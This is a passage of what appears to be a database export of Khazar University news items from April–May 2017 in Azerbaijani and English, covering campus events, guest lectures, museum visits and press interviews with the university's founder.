tədbir keçirildi. Tədbirdə departament müdirləri, müəllim və tələbələr iştirak edirdilər...','<p>Aprelin\r\n26-da Xəzər Universitetində Şekspir yaradıcılığına həsr olunmuş tədbir\r\nkeçirildi. Tədbirdə departament müdirləri, müəllim və tələbələr iştirak edirdilər.</p>\r\n<p>Tədbiri\r\nİngilis dili və ədəbiyyatı departamentinin baş müəllmi Firəngiz Nəsirova\r\naçaraq, Şekspirin yaradıcılığı haqqında məlumat verdi. Qeyd etdi ki, dünya ədəbiyyatında\r\nböyük dramaturq, humanist şair kimi tanınmış Vilyam Şekspirin&nbsp; yaradıcılığında xalqına olan dərin məhəbbəti,\r\ninsanı düşündürən mənəvi-psixoloji problemlər, real həyat motivləri əsas yer\r\ntutur. Onun əsərləri ilə az-çox tanış olanlar, eyni bir fikri hər dəfə təkrar\r\noxiyarkən yenə də heyran qalmaya bilmir, yenilik tapırlar.</p>\r\n<p>Şekspir\r\nyaradıcılığı Azərbaycan ədəbiyyatında xüsusi yer tutur və oxucular tərəfindən\r\nmüsbət qarşılanır. Şekspir Azərbaycan xalqının məişətinə daxil olmuşdur,\r\nŞekspir qəhrəmanlarının sözləri zərb-məsəllərə çevrilmişdir, Şekspir qəhrəmanlarının\r\nadlarını daşıyanlar da az deyil. </p>\r\n<p>F.\r\nNəsirova “Şekspirin əsərləri həyat rəmzi, gözəllik rəmzidir” - deyə, sözünü\r\nbitirdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sonra\r\nHumanitar və sosial elmlər fakültəsinin 3-cü, 4-cü kurs və magistr tələbələri\r\nŞekspirin “Otello”, “Romeo və Culyetta”, “Hamlet” və bir sıra digər əsərlərindən\r\nparçalar söylədilər. Əhəd Ağakişiyev (Hamletin monoloqu), Səbinə İbrahimova,\r\nSelcan Əliyeva, Sevinc Dadaşzadə, Aysel Həsənova, Nuranə İsgəndərova, Fidan\r\nHüseynova, Ülkər Rəsulova, Nərgiz Rufullazadə və Fəridə İsayeva Şekspirin əsərlərindən\r\nparçaları və sonetlərini ingilis dilində məharətlə ifa etdilər.</p>\r\n<p>İştirakçılar\r\ntələbələrin çıxışlarını yüksək qiymətləndirdilər.</p>'),(3624,2125,'az','Coğrafiya və ətraf mühit departamentində “İnkişaf zamanı” adlı təlim keçiriləcək','2017-ci il mayın 5-i saat 14:00-da Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkilatçılığı...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il mayın 5-i saat\r\n14:00-da Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin\r\ntəşkilatçılığı ilə universitetin“Neftçilər” korpusunda (206-cı otaq –köhnə\r\nbina)&nbsp;“İnkişaf zamanı” adlı təlim\r\nkeçiriləcək. Təlimi Nailə İsmayılova aparacaq.<strong></strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;vertical-align:top\"\"=\"\">Əlavə\r\nməlumat üçün bu vasitələrlə əlaqə saxlamaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong><em>E-mail:</em></strong> <a href=\"mailto:info@timefordevelopment.net\">info@timefordevelopment.net</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong><em>Facebook </em></strong><strong><em>səhifəsi</em></strong><strong><em> : </em></strong><a href=\"http://bit.ly/2oWZszH\">https://www.facebook.com/inkishafzamani/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong><em>Web-səhifə</em></strong>:<a href=\"http://www.time4development.net/\">www.time4development.net</a>.<strong></strong></p>'),(3625,2126,'az','Əcnəbi tələbələr Tarix Muzeyini ziyarət etdilər','2017-ci il aprelin 29-da Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Səidə İzmailovanın təşkilatçılığı ilə əcnəbi tələbələrlə Azərbaycan Tarixi Muzeyi ziyarət...','<p>2017-ci il aprelin\r\n29-da Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Səidə\r\nİzmailovanın təşkilatçılığı ilə əcnəbi tələbələrlə Azərbaycan Tarixi Muzeyi\r\nziyarət edildi. Tələbələr Azərbaycan türkləri, qədim Azərbaycan dövlətləri,\r\ninsanların həyat tərzi və s. haqqında məlumat verildi.&nbsp;</p>\r\n<p>Tələbələrlə\r\nxatirə şəkilləri çəkildi.</p>'),(3626,2127,'az','Tələbələr dərslərini muzeydə keçdilər','2017-ci il aprelin son həftələri Xəzər Universiteti Təhsil fakültəsinin tələbələrinin köməkçi tarix fənləri üzrə dərsləri Milli Azərbaycan Tarixi Muzeyində təşkil edildi. Universitetin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil aprelin son həftələri Xəzər Universiteti Təhsil fakültəsinin tələbələrinin köməkçi\r\ntarix fənləri üzrə dərsləri Milli Azərbaycan Tarixi Muzeyində təşkil edildi. Universitetin\r\nTarix və arxeologiya departamentinin təşəbbüsü və təşkilatçılığı ilə tarix müəllimiliyi\r\nüzrə təhsil alan birinci kurs tələbələrində milli irsimiz və keçmişimizlə bağlı\r\nəyanilik yaratmaq məqsədilə aprelin 21-i və 28-də tələbələrin universitetdən kənar\r\ntədris ekskursiyasi və mühazirəsi həyata keçirildi. Bu ekskursiya və mühazirə Xəzər\r\nUniversiteti ilə uzun müddətdir ki, əməkdaşlıq edən ölkənin ən qocaman muzeyi\r\nolan Milli Azərbaycan Tarixi Muzeyində onun əməkdaşlarının xüsusi dəstəyi ilə\r\ngerçəkləşdirildi. Ekskursiya zamanı tələbələrə Azərbaycan tarixinin bütün mərhələləri\r\nhaqqında təsəvvür yaradıldı, xalqımızın zəngin maddi və mənəvi irsini özündə əks\r\netdirən eksponatlar barədə məlumat verildi və tarixin araşdırılmasının əyaniliyi\r\nnümayiş olundu. MATM-nin şöbə müdiri Səbuhi Əhmədovun heraldika ilə bağlı əhatəli\r\nvə dolğun mühazirəsi tələbələrin diqqətini xüsusilə cəlb etdi. Tələbələr Azərbaycanın\r\ndövlət atributları və bu simvolların öyrənilməsi ilə bağlı suallar verdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Ümumilikdə,\r\nXəzər Universitetinin MATM-də tələbələr üçün təşkil etdiyi əyani dərslər gənclərin\r\ntədris edilən mövzuları qavramasına və dərkinə müsbət təsir göstərən vacib\r\namillərdəndir.&nbsp;</p>'),(3627,2128,'az','Hamlet İsaxanlı təhsil müəssisələrində dövlət dilinin vəziyyətinə münasibət bildirdi','2017-ci il mayın 2-də “Exo” qəzetinin rəsmi internet səhifəsində “Azərbaycanda dövlət dilinə tələb yoxdurmu?” (rusca) başlıqlı məqalə yayınlanmışdır. Məqalə Xəzər Universitetinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il\r\nmayın 2-də “Exo” qəzetinin rəsmi internet səhifəsində\r\n“Azərbaycanda dövlət dilinə tələb yoxdurmu?” (rusca) başlıqlı məqalə\r\nyayınlanmışdır. Məqalə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı ilə aparılmış söhbət əsasında\r\nyazılmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni tam şəkildə bu linklər vasitəsilə oxumaq\r\nolar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://ru.echo.az/?p=59105\">http://ru.echo.az/?p=59105</a>;</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://gapp.az/news/352143-v-azerbaydjane-net-sprosa-na-gosudarstvennyiy-yazyik.\">http://gapp.az/news/352143-v-azerbaydjane-net-sprosa-na-gosudarstvennyiy-yazyik.</a></p>'),(3628,2124,'en',' Event Dedicated to Shakespeare’s Literary Work','On April 26, an event dedicated to Shakespeare was held at Khazar University. Head of departments , instructors and students of the university took part...','<p style=\"margin-bottom:.0001pt\">On April   26, an event dedicated to Shakespeare was held at Khazar University. Head of\r\ndepartments , instructors and students of the university took part in the\r\nevent. Firangiz Nasirova, Senior Instructor of the Department of English\r\nLanguage and Literature,<span class=\"apple-converted-space\">&nbsp;opened the\r\nevent and gave information about </span>Shakespeare’s\r\nworks. She also noted that deep love for people, thought-provoking spiritual\r\nand psychological questions, real life motives were primary focus on Shakespeare`s\r\nworks who is known as world’s greatest playwright and humanist poet. Those who\r\nare familiar with his works more or less get inspired and find something new when\r\nthey re-read his works.<o:p></o:p></p><p>Shakespeare\'s works have a special place in Azerbaijani\r\nliterature and are welcomed by readers. The words of Shakespeare\'s heroes are used as sayings\r\nnowadays. There are a number of people named after Shakespeare\'s heroes as\r\nwell.</p>\r\n<p>F. Nasirova ended her speech with these words:\r\n\"Shakespeare\'s works are the symbol of life, symbol of beauty. “ </p>\r\n<p>Then, 3rd, 4th year and graduate students of the\r\nSchool of Humanities and Social Sciences performed some parts of \"Othello,\"\r\n\"Romeo and Juliet\", \"Hamlet\" and other works of\r\n\"Shakespeare.</p>\r\n<p>Ahad Agakishiyev (Hamlet\'s monologue), Sabina Ibrahimova,\r\nSelcan Aliyeva, Sevinc Dadashzadeh, Aysel Hasanova, Nurana Isgandarova, Fidan\r\nHuseynova, Ulker Rasulov, Nargiz Rufullazadə and Farida Isayeva performed\r\nsonnets and some parts from the works of Shakespeare in English.</p>\r\n<p>The students\' performances were highly appreciated by\r\nthe participants.</p>  <p><br></p>'),(3629,2103,'en',' Khazar University at “Education Fair of Turkish Universities”','On April 29-  30, 2017, “Razi Valiyev: Turkish Universities Education Fair “ was held by “Academy Group” in Baku. Along with the 30 Turkish Universities , Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">On April 29- &nbsp;30, 2017, “Razi\r\nValiyev: Turkish Universities Education Fair “ was held by “Academy Group” in\r\nBaku. Along with the 30 Turkish Universities , Khazar University took part in\r\nEducation fair as well. Education Fair started with the memorial ceremony of\r\n“Academy Group” founder Razi Valiyev.&nbsp; Alovset\r\nAmirbeyli, Director for Public\r\nRelations and Media at Khazar University also made a\r\nspeech at the ceremony. Then the exhibition was declared open for secondary\r\nschool students, parents, teaching staff and public. &nbsp;There was an even greater interest to the\r\neduacation fair than previous years. Khazar Unviersity as always was in the\r\nspotlight of students, parents and Turkish Universities this year. Professor\r\nAdalat Muradov , Rector of Azerbaijan&nbsp;\r\nState University of Economic (UNEC);&nbsp;\r\nProfessor Mehmet Hakki Alma, Rector of Igdir University; Salman\r\nArslanbash, &nbsp;Vice President for Foreign\r\nAffairs of Istanbul Aydin University; Emre Ucsular, Coordinator on\r\nInternational Relations&nbsp; at Istanbul Zaim\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;University, education experts,\r\nmass media representatives and others visited the exhibition hall of the Khazar\r\nUniversity. The most interested bachelor\'s specialties of Khazar University\r\nwere computer science, civil engineering, computer engineering, finance,\r\neconomics, psychology. Education fair visitors were more interested in Master\r\nspecialties of University. Alovset Amirbeyli, Director for Public Relations and Media,\r\nLamia Namazova, Head of the &nbsp;Department of Admission and Sevinj Shafiyeva, &nbsp;Coordinator\r\nof General Department gave detailed information about University and answered\r\nquestions of visitors. A large number of brochures associated with faculties\r\nand majors of University were presented to exhibition visitors. Photos were\r\ntaken with vititors.&nbsp;</p>'),(3630,2118,'en','Prof. Isakhanli Interview in “525th” Newspaper','On April 29, 201, the first part of Waqas Ahmed’s interview with Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees was...','<p>On April 29, 201, the first part of Waqas Ahmed’s interview with Prof. Hamlet Isakhanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees was\r\npublished in “525th” newspaper. The interview will be published in parts. </p>\r\n<p>The published part of the interview is available\r\non the following link:</p>\r\n<p><a href=\"http://525.az/site/?name=xeber&amp;news_id=78294&amp;tarix=2017-04-29&amp;vaxt=14:57:24\">http://525.az/site/?name=xeber&amp;news_id=78294&amp;tarix=2017-04-29&amp;vaxt=14:57:24</a>.</p>'),(3631,2120,'en','Hamlet Isakhanli Takes Part  in the Closing Ceremony  of the Chess Tournament in Shamkir','Chess Tournament devoted to the memory of Vugar Gasimov was held by “Synergy Group” on April 20-May 1, 2017.  Prof. Hamlet Isakhanli, the founder of Khazar University...','<p>Chess Tournament devoted to the memory of Vugar Gasimov was held by\r\n“Synergy Group” on April 20-May 1, 2017. &nbsp;Prof. Hamlet Isakhanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, watched the\r\ntournament lively on the closing day, and met chess players, judges, public\r\nrepresentatives and the head of executive power of Shamkir. </p>\r\n<p>In the closing banquet of the tournament Prof.\r\nIsakhanli gave a talk about the development of chess in Azerbaijan and in the\r\nworld, the Fourth Shamkir super tournament, its winner Shahriyar Mammadyarov\r\nand some other issues.&nbsp;</p>'),(3632,2102,'az','Amerikadan olan qonaq professorunun filantropiya haqqında interaktiv seminarı keçirildi','2017-ci il aprelin 26-da Kolumbiya Universitetinin doktoru Noah D. Drezner Xəzər Universitetinin Neftçilər kampusunda olub...','<p>2017-ci il aprelin 26-da Kolumbiya\r\nUniversitetinin doktoru Noah D. Drezner Xəzər Universitetinin Neftçilər\r\nkampusunda olub.</p>\r\n<p>Təhsil filantropiyası üzrə\r\naparıcı tədqiqatçı kimi beynəlxalq səviyyədə&nbsp;\r\ntanınan Dr. Noah D. Drezner Kolumbiya Universitetində Pedoqoji Kollecdə &nbsp;dosent, Filantropiya və Təhsil jurnalının &nbsp;baş redaktor (İndiana Universiteti Mətbuatı),\r\nPekində Normal Universitetin Təhsil və Filantropik&nbsp; araşdırmaları üzrə qonaq professorudur.</p>\r\n<p>İnteraktiv mühazirədə “Paylaşmaq\r\nmədəniyyəti üçün şəraitin yaradılması: ABŞ-ın Təhsil Filantropiyasından nümunələr”\r\nadlanırdı. &nbsp;&nbsp;</p>\r\n<p>Mühazirə fakültə və inzibati\r\nheyət üzvləri üçün nəzərdə tutulmuşdu. Seminarda İnkişaf&nbsp; mərkəzinin direktoru Raziyə İsayeva, Məzunlarla\r\nİş Şöbəsinin müdiri Baba Bayramlı, layihənin rəhbəri və məruzəçisi Ülkər\r\nBayramova, İngilis dili və dəbiyyatı departamentinin kordinatoru Milana\r\nAbbasova, İngilis dili və dəbiyyatı departamentinin müdiri&nbsp; Eynur Mehdiyev, Keyfiyyət təminatı\r\ndepartamentində assistant &nbsp;Afaq Aslanova, İqtisadiyyat\r\nvə menecment departamentinin müdiri Ceyhun Məmmədov, İqtisadiyyat və menecment departamentinin\r\nkordinatoru Bahadur Baysal, ingilis dili müəlliməsi Sevinc İsgəndərova, İngilis\r\ndili və ədəbiyyatı departamentinin köməkçisi&nbsp;\r\nSəbinə Ələkbərli, Beynelxalq Əlaqələr Şöbəsinin müdiri Turan Cəfərova da\r\niştirak etdi.</p>\r\n<p>Dr. Noah ABŞ-ın Bakıdakı səfirliyinin\r\ndəstəklədiyi proqram vasitəsilə Azərbaycanda səfərdədir &nbsp;və Bakıda və digər universitetlərdə də oxşar\r\nmühazirələr təqdim edəcək.</p>'),(3633,2129,'az','İran Mədəniyyət Mərkəzinin sədri Xəzər Universitetini ziyarət etdi','2017-ci il mayın 2-də İran İslam Respublikasının Azərbaycandakı səfirliyinin Mədəniyyət Mərkəzinin sədri Əsgər Farsi Xəzər Universitetini ziyarət etdi. Xəzər Universitetinin...','<p>2017-ci il mayın\r\n2-də İran İslam Respublikasının Azərbaycandakı səfirliyinin Mədəniyyət Mərkəzinin\r\nsədri Əsgər Farsi Xəzər Universitetini ziyarət etdi. Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Mədəniyyət Mərkəzinin\r\nsədrini səmimi salamladı. Ona Xəzər Universiteti haqqında və İran Mədəniyyət Mərkəzi\r\nilə birgə görülən işlər haqqında məlumat verdi. Ə.Farsi gələcəkdə Mədəniyyət Mərkəzi\r\nilə birgə maraqlı mədəni tədbirlərin keçirilməsi üçün Xəzər Universitetindən\r\nköməklik göstərilməsini xahiş etdi. </p>\r\n<p>Xatirə şəkilləri\r\nçəkildi.</p>'),(3634,2119,'en','Hamlet Isakhanli, Member of Statistical Council Takes Part in the Committee’s Meeting ','On April 28, 2017, Professor Hamlet Isakhanli,  a member of the the Statistical Council under the State Statistical Committee of the Republic of Azerbaijan , the founder of Khazar...','<p>On April 28, 2017, Professor Hamlet Isakhanli,&nbsp; a member of the the Statistical Council under\r\nthe State Statistical Committee of the Republic of Azerbaijan&nbsp;, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees paticipated in the meeting of the Council. </p>\r\n<p>Hamlet Isakhanli shared his opinions about the discussed issues and\r\nproblems, ways of improving statistical indicators&nbsp; and governmetal programs as well.&nbsp;</p>'),(3635,2116,'en','High Class Students of School № 32 in Nizami District at Khazar University','On May 1, 2017 “Open Door” day was held at Khazar University. The high class students of school № 32 in Nizami district visited Khazar University. The students have been to...','<p>On May 1, 2017\r\n“Open Door” day was held at Khazar University. The high class students of\r\nschool № 32 in Nizami district visited Khazar University. The students have\r\nbeen to the lecture halls, labs and museums of the university. They were given\r\ncomprehensive information about the university. </p>\r\n<p>At the end,\r\nmemory photos were taken.&nbsp;</p>'),(3636,2127,'en','Students Have Lessons in the Museums','Khazar University Education faculty students had their elective history class in the National Museum of Azerbaijan History the last weeks of April, 2017. On April 21-28, the first...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Khazar\r\nUniversity Education faculty students had their elective history class in the\r\nNational Museum of Azerbaijan History the last weeks of April, 2017. On April\r\n21-28, the first year History faculty students had their excursion and lecture\r\nout of the university with the initiative and organization of the Department of\r\nHistory and Archeology and for the purpose of elucidating our national heritage\r\nand history. The excursion was held with the close partnership of the&nbsp; Azerbaijani Museum of History and the\r\ncooperation of its supportive staff. For the excursion period the students were\r\ngiven information on all the periods of Azerbaijan history, the exhibits\r\nreflecting spiritual and material heritage of our nation. Especially, the\r\nlecture of Sabuhi Ahmedov, the museum’s branch manager on Heraldic got the\r\nstudents’ attention. The students asked questions about studying Azerbaijan’s\r\nattributes and symbols.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Overall,\r\nobject-lessons organized by Khazar University in National Museum of Azerbaijan\r\nHistory are of great importance for the students’ understanding and acquision\r\nof the materials learned.&nbsp;</p>'),(3637,2128,'en','Founder Shares Opinion on the Status of the Official Language in Educational Institutions','On May 2, 2017, an article entitled “Isn`t there any need to state language in Azerbaijan?” was published on the official website of the newspaper “Exo” (in Russian).  The article...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On May 2, 2017, an article\r\nentitled “Isn`t there any need to state language in Azerbaijan?” was published\r\non the official website of the newspaper “Exo” (in Russian).&nbsp; The article\r\nwas written based on the interview with Hamlet Isakhanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees.<strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://ru.echo.az/?p=59105\">http://ru.echo.az/?p=59105</a>;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://gapp.az/news/352143-v-azerbaydjane-net-sprosa-na-gosudarstvennyiy-yazyik.\">http://gapp.az/news/352143-v-azerbaydjane-net-sprosa-na-gosudarstvennyiy-yazyik.</a></p>'),(3638,2130,'az','Professor İsaxanlı xarici dillərin tədrisindəki qüsurları qeyd etdi ','2017-ci il mayın 3-də “Şərq” qəzetinin rəsmi internet səhifəsində “Hamlet İsaxanlı “yanlışdır” dedi” başlıqlı məqalə yayınlanmışdır. Məqalədə Xəzər Universitetinin təsisçisi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il\r\nmayın 3-də “Şərq” qəzetinin rəsmi internet səhifəsində\r\n“Hamlet İsaxanlı “yanlışdır” dedi” başlıqlı məqalə yayınlanmışdır. Məqalədə Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı ali təhsil müəssisələrində xarici dil tədrisindəki\r\nuğursuzluqların səbəblərini izah edir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni tam şəkildə bu linklər vasitəsilə oxumaq\r\nolar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-30480/Hamlet_%C4%B0axanl%C4%B1_\">http://www.sherg.az/site/id-30480/Hamlet_İaxanlı_”yanlışdır”_dedi.</a> </p>'),(3639,2131,'az','Kastamonu Universitetinin müəllimi Xəzər Universitetində mühazirə apardı ','2017-ci il mayın 3-də Xəzər Universitetinin Bioloji elmlər departamentinin və Coğrafiya və ətraf mühit departamentinin birgə təşkilatçılığı ilə “Endocommensal Ciliates...','<p>2017-ci\r\nil mayın 3-də\r\nXəzər\r\nUniversitetinin Bioloji elmlər departamentinin və Coğrafiya və ətraf mühit\r\ndepartamentinin birgə təşkilatçılığı ilə “<em>Endocommensal\r\nCiliates (Ciliophora: Protista) of Herbivores</em>” mövzusunda, yəni ibtidailər\r\nhaqda (Protozoalar haqda)&nbsp;tələbələr və tədqiqatçılar üçün mühazirə/\r\nseminar keçirildi. Mühazirəni Türkiyənin\r\nKastamonu Universitetinin Elm və incəsənət,\r\nbiologiya fakültəsinin müəllimi Dr. Gözde Gürelli aparırdı.</p>\r\n<p>Sonda Dr. Gözde\r\nGürelli tələbələr və tədqiqatçıların suallarını cavablandırdı.</p>'),(3640,2132,'az','Həmkarlar İttifaqı Nizami Rayon Təşkilatının hesabat-seçki yığıncağı keçirildi','2017-ci il mayın 3-də Nizami Rayon İcra Hakimiyyətində Azərbaycan Dövlət İdarələri və İctimai Xidmət İşçiləri Həmkarlar İttifaqı Nizami Rayon Təşkilatının hesabat-seçki...','<p>2017-ci il mayın 3-də\r\nNizami Rayon İcra Hakimiyyətində Azərbaycan Dövlət İdarələri və İctimai Xidmət\r\nİşçiləri Həmkarlar İttifaqı Nizami Rayon Təşkilatının hesabat-seçki yığıncağı\r\nkeçirildi. Yığıncaqda Rayon Təşkilat komitəsi sədrinin, NTK-nın hesabatı dinlənildi.\r\nYeni sədr və respublika qurultayına nümayəndələr seçildi. </p>\r\n<p>Hesabat-seçki yığıncağında Xəzər\r\nUniversitetindən 8 nəfər nümayəndə iştirak etdi. &nbsp;&nbsp;</p>'),(3641,2133,'az','Türkiyə mətbuatı Xəzər Universitetində keçirilmiş konfransdan yazdı','Xəbər verildiyi kimi, 2017-ci il aprelin 22-23-də Xəzər Universitetində Azərbaycan IV Beynəlxalq Psixologiya Konfransı keçirilmişdi. Aprelin 29-da İstanbuldakı BİA Haber...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbər verildiyi kimi, 2017-ci il aprelin 22-23-də Xəzər Universitetində\r\nAzərbaycan IV Beynəlxalq Psixologiya\r\nKonfransı keçirilmişdi. Aprelin 29-da İstanbuldakı BİA Haber Merkezinin\r\n(BİAQAM)&nbsp; internet səhifəsində konfransda\r\niştirak etmiş jurnalist Ayla Türksoyun konfrans haqqında məqaləsi dərc olunmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Məqaləni bu link\r\nvasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://m.bianet.org/biamag/bilim/185976-hazar-in-soraginda\">http://m.bianet.org/biamag/bilim/185976-hazar-in-soraginda</a><strong></strong></p>'),(3642,2106,'en','Presentation Ceremony of the Short Film “Addım\" (Step) ','On Aprel 25, 2017, the presentation ceremony of the short film entitled \"Addım\"(Step) made by \"Tormenta\" Media Production was held at Marble Hall, at Khazar University. The film...','<p>On Aprel 25, 2017, the presentation ceremony of\r\nthe short film entitled \"Addım\"(Step) made by \"Tormenta\"\r\nMedia Production was held at Marble Hall, at Khazar University. The film deals with\r\ngiving up the thoughts of suicide at the last moment,\r\nbeing surrounded by friends that make you cling to life and benevolent deeds\r\nyou have done. Directors of the film are Elchin Ismayilov and\r\nImran Asadov. Samir Guliyev and Dayanat Danyarov, students of School of\r\nHumanities and Social Sciences, took part in the film.</p>\r\n<p>At the end of the presentation ceremony,\r\nAlovsat Amirbayli, the &nbsp;Director of Media\r\nand Public Relations Office, Mail Yagub, philosophy teacher of the university,\r\nHaci Shahin Hasanli, theologian, the founder and head of the «Spiritual\r\nWorld\" Society for Promoting National and Moral Values, Aytan Alakbarova, senior\r\npsychologist of Psychology Center and others shared their impressions and views\r\nabout the film.</p>'),(3643,2126,'en','International Students Visit History Museum','On April 29, 2017, international students at Khazar University visited Azerbaijan History Museum. The visit was coordinated by Saida Ismailova, instructor of the Department of History...','<p>On April 29,\r\n2017, international students at Khazar University visited Azerbaijan History\r\nMuseum. The visit was coordinated by Saida Ismailova, instructor of the\r\nDepartment of History and Archeology. The students were given information about\r\nAzerbaijani Turks, ancient states of Azerbaijan, people\'s lifestyles and so on.\r\n</p>\r\n<p>Memory photos\r\nwere taken with students.&nbsp;</p>'),(3644,2125,'en','Training Entitled “Time for Development” to be Hold in the Department of Geography and Environment','On May 5, 2017, at 14:00, a training entitled “Time for Development” will be held at Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On May 5, 2017, at 14:00, a\r\ntraining entitled “Time for Development” will be held at Khazar University\r\nNeftchiler Campus (206- old). Naila Ismayilova will conduct the training.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">For more\r\ninformation&nbsp;contact us at the following addresses:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><em>E-mail:</em><a href=\"mailto:info@timefordevelopment.net\">info@timefordevelopment.net</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><em>Facebook </em><em>address</em><em>: </em><a href=\"http://bit.ly/2oWZszH\">https://www.facebook.com/inkishafzamani/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><em>Website</em>:<a href=\"http://www.time4development.net/\">www.time4development.net</a>.</p>'),(3645,2134,'en','Head of the Department Spoke at the International Conference on the Caucasus','On April 27, 2017, Dr. Mukhtar Hajizada, Jean Monnet Chair and Head of the Department of Political Science and International Relations at Khazar University, participated...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">On April 27, 2017, Dr. Mukhtar Hajizada, Jean Monnet\r\nChair and Head of the Department of Political Science and International\r\nRelations at Khazar University, participated in an international conference\r\nentitled “Challenges and Opportunities of Europeanisation in the Caucasus”. Dr.\r\nHajizada delivered a presentation on the EU and the wider Black Sea\r\nneighbourhood dealing with the security, institutionalization and the role of\r\nstakeholders. The conference took place at Yeditepe University in Istanbul,\r\nTurkey on 27-28 April, 2017</p>'),(3646,2134,'az','Departament müdiri beynəlxalq konfransda Qafqazla bağlı məruzə ilə çıxış etdi ','2017-ci il, aprelin 27-də  Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, Jan Monne Kürsüsü mükafatı laureatı, Siyasi elmlər üzrə fəlsəfə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">2017-ci il, aprelin 27-də&nbsp; Xəzər Universitetinin Siyasi elm və\r\nbeynəlxalq münasibətlər departamentinin müdiri,&nbsp;Jan Monne Kürsüsü mükafatı\r\nlaureatı,&nbsp;Siyasi elmlər üzrə&nbsp;fəlsəfə doktoru Muxtar Hacızadə “ Qafqazda\r\nAvropalaşma problemləri və imkanları” adlı beynəlxalq konfransda iştirak etdi.\r\nDr. Muxtar Hacızadə təhlükəsizlik, institusionalizasiya və tərəfdaşların\r\nrolundan bəhs edərək Aİ və daha geniş Qara dəniz qonşuluğu ilə bağlı mühazirə\r\nilə çıxış etdi. Konfrans 2017-ci il, aprelin 27 və 28-də&nbsp; İstanbulda Yeditəpə Universitetində baş\r\ntutmuşdur.</p>'),(3647,2117,'en','Faculty Member of Department of English Language and Literature Publishes Article','The article by Ilham Taghiyev, PhD candidate and instructor of the Department of the English Language and Literature at Khazar University entitled “Violation of...','<p>The article by\r\nIlham Taghiyev, PhD candidate and instructor of the Department of the English\r\nLanguage and Literature at 